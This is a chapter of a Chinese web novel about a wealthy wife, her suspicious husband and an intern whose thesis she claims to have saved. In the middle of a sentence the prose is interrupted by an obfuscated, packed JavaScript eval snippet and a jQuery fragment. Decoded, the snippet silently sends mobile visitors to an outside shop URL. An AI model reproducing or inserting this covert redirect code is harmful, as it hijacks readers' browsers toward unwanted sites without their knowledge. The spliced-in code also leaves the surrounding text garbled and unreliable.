“那我的道歉你已经收到。”
宁暄图穷匕见,弯起桃花眼冲对面扬眉,“接下来该轮到你还我一个人情了。”
林石火:“啊?”
“不是吧?你不会想翻脸不认人吧?”宁暄瞪大眼睛控诉他,不满比划,“我可是帮你了那么大一个忙!”
看对方依旧一脸茫然摸不着头脑的模样,宁暄长长叹一口气,筷子哒哒哒敲碗沿:
“你好笨,要不是因为我,你以为……你的毕业论文怎么保住的?”
林石火呐呐:“那、那不是因为——”
“当然是因为我你们薄总才同意帮忙,不然你以为他为什么会在乎这种小事。”
宁暄直接打断林石火未说完的话,毫不客气将所有功劳都揽到自己身上。
从某种程度上来说,她这话也没错。
“要是没有我,你说不定就得延毕呢。”
她说完,林石火像是没反应过来,呆立半晌忽然坐正身体开口:
“薄总……”
“对啊,就是我极力劝说薄寒柏好久,他才答应帮你。”
宁暄以为他不信,正准备继续添油加醋再接再厉,餐桌边缘突然被人叩了叩。
“宁暄,过来下。”
一片阴影投下,男人熟悉低沉的嗓音钻入耳朵,宁暄顿住,扭头顺着搭在桌上的修长手指往上看,毫不意外看到丈夫冷漠无情、棱角分明的脸——
薄寒柏。
宁暄翻了个白眼,人依旧安安稳稳坐在椅子上,转过头去对男人视而不见,继而咳咳两声清嗓子,眯起桃花眼,刻意抬高音量继续跟林石火对话。
“你以为,你延毕这件事是我干的?”
宁暄扬起下巴,对着林石火指桑骂槐阴阳怪气:
“拜托你有没有脑子!那个词怎么说来着,瓜田李下。我才刚跟你起了小冲突,怎么可能一转眼就大剌剌私下找人报复你?”
“我像是那么愚蠢的人吗?”
林石火很想点头说是。
但顶着宁暄和薄寒柏一正一侧两道如芒在背的目光,以及周围无数人竖起耳朵投来的若有似无吃瓜视线……
这些话薄总全听见了,却并没有反驳——
林石火局促极了,头摇得像拨浪鼓:
“不、不是,是我误会了……”
“所以啊,凡事儿多反省反省自己,认真想想你这段时间得罪过谁,我保得了你一次可保不了你第二次。”宁暄从鼻孔里重重哼一声,最后理直气壮总结,“还有,你也应该要向我道歉才对,还要记得欠我一个大大的人情。”
全程眼风没给薄寒柏一个。
薄寒柏抿唇停顿片刻,一言不发离开。
“……应该没有,大概是偶然。”林石火在校期间一向本本分分,他实在想不到自己过往得罪过什么人。
薄寒柏走后身旁压迫感消失,林石火也终于得以恢复顺畅的呼吸,结结巴巴向宁暄道歉,“对、对不起,我不该误会你,是我……我很抱歉。”
“没关系,我原谅你了。”宁暄矜持颔首,“接着吃饭吧。”
“可薄总刚刚……”
“无关闲杂人等不用管。”宁暄说完顿了顿,又掏出手机,“先加个联系方式吧,方便后面找你讨债。”
宁暄和林石火一起在员工餐厅吃午饭的事儿很快传遍天盛公司。
宁暄的名声一夜间平反,过去的事一下子翻篇,私下里开始悄悄流传起新的传说:
薄总、薄总夫人和新男实习生之间的三角绯闻。
……
没等到宁暄,独自回到顶层办公室,薄寒柏眉心聚拢,浑身低气压,哗拉开座椅。
确切地说,从昨晚到现在,他的心情一直处于低谷。
林石火……
以薄寒柏对妻子的了解,她报复起人来大多小打小闹,手段直白粗浅,一贯以牙还牙以眼还眼,程度再恶劣一些,也不过点名投诉——就像她27岁那场生日宴。
林石火撞她一次,并未造成实际损失,她如此不依不饶针对一个无名小卒,实在反常。
薄寒柏指腹抵住胀痛的太阳穴按压,他夜里没休息好。
昨晚宁暄的解释,他相信。
他厌恶的是,事情发生,在他还没来得及求证细想之前,第一反应竟然是替妻子遮盖收尾。
宁暄说者无心,他却的确是因为她才插手此事。
宁暄眼睛素来长在头顶上,从前这样的普通人她看都不看一眼。现在她突然搭讪林石火是想干什么?
这个实习生脸虽看得过去,总不至于是故意气他,林石火身上……有什么是她想要得到的?
薄寒柏极度厌恶失控。
“她现在还在餐厅,跟那个实习生在一起吗?”薄寒柏脸色阴晴不定,闭目良久,突然冒出一句。
“这……”张助大气不敢喘,忙出去打完电话回来,“是。”
薄寒柏睁开眼:“查查林石火,尽快。”
……
一顿莫名其妙的饭下来,林石火好像跟宁暄成了朋友。
她真的很
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17939530|213853||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
漂亮,性格也很好,明媚生动又耀眼,虽然有一点任性,但即使是高高在上颐指气使命令人,当宁暄看向他的时候,林石火发现,他也很难对着这样一张脸生气。
林石火为此前对宁暄的误解感到羞愧。
还好现在误会解开真相大白。
他们应该……算是认识了吧?点头之交那种,林石火想。
毕竟一眨眼功夫,他们话题都已经发散到各自的亲人了。
“我资料上看到你好像还有一个姐姐,你跟她关系好吗?你们这种双子女家庭,会不会很容易起冲突啊?”宁暄装作好奇不经意提起,“我家从小到大都只有我一个,偶尔还有点孤单呢。”
“还好,我和姐姐自小关系都挺好的。”
呵呵。
连身世到现在都瞒着你,姐姐做服务员送外卖弟弟大公司实习……
宁暄面上不动声色,心里白眼翻上天。
“就是……”林石火眉眼垂下来,像是有些忧愁,“前段时间我姐姐她,跟家里闹翻离家出走了,现在还不知道她在哪儿。”
“啊?那你们怎么不去找她?”
“姐姐不让找,走之前把我们全拉黑,说没闯出模样出人头地之前她谁也不见。”
宁暄适时捧哏:“这么绝情?现在都没联系上吗?”
“也不是,昨天姐姐刚跟我报了平安,虽然她还是不愿意告诉我她现在的住址,但有提到再过一段时间会回家。”
好像不知不觉就说了太多自己的事,林石火忙止住话题,不好意思挠头,“只顾着说我了。欠你这个人情,不知道我……具体该怎么还?”
宁暄思绪飘散,好半天才想起来回,“先欠着吧,我现在还没想好呢。”
……
同一时间,医院病房内。
林溪月躺在病床上,微微调整了下姿势侧身,给好友发消息:
【我是想亲口告诉他们,但还没考虑好具体坦白时机……起码等伤好能正常下地吧,不然现在这样太狼狈了。】
她离家之前已经放过狠话,要证明自己的选择没错。如果不能扬眉吐气风风光光地回去,那还不如不见。
【反正都断联很久了,也不差这几天。】
对面很快回复:【那宁家那个假千金来给你道歉了吗?】
林溪月盯着这行字,欲打字的指尖顿住,好半天才回复:
【还没。】
门外忽然传来脚步声。
【先不说了,有人过来。】林溪月退出聊天界面,按灭手机屏幕。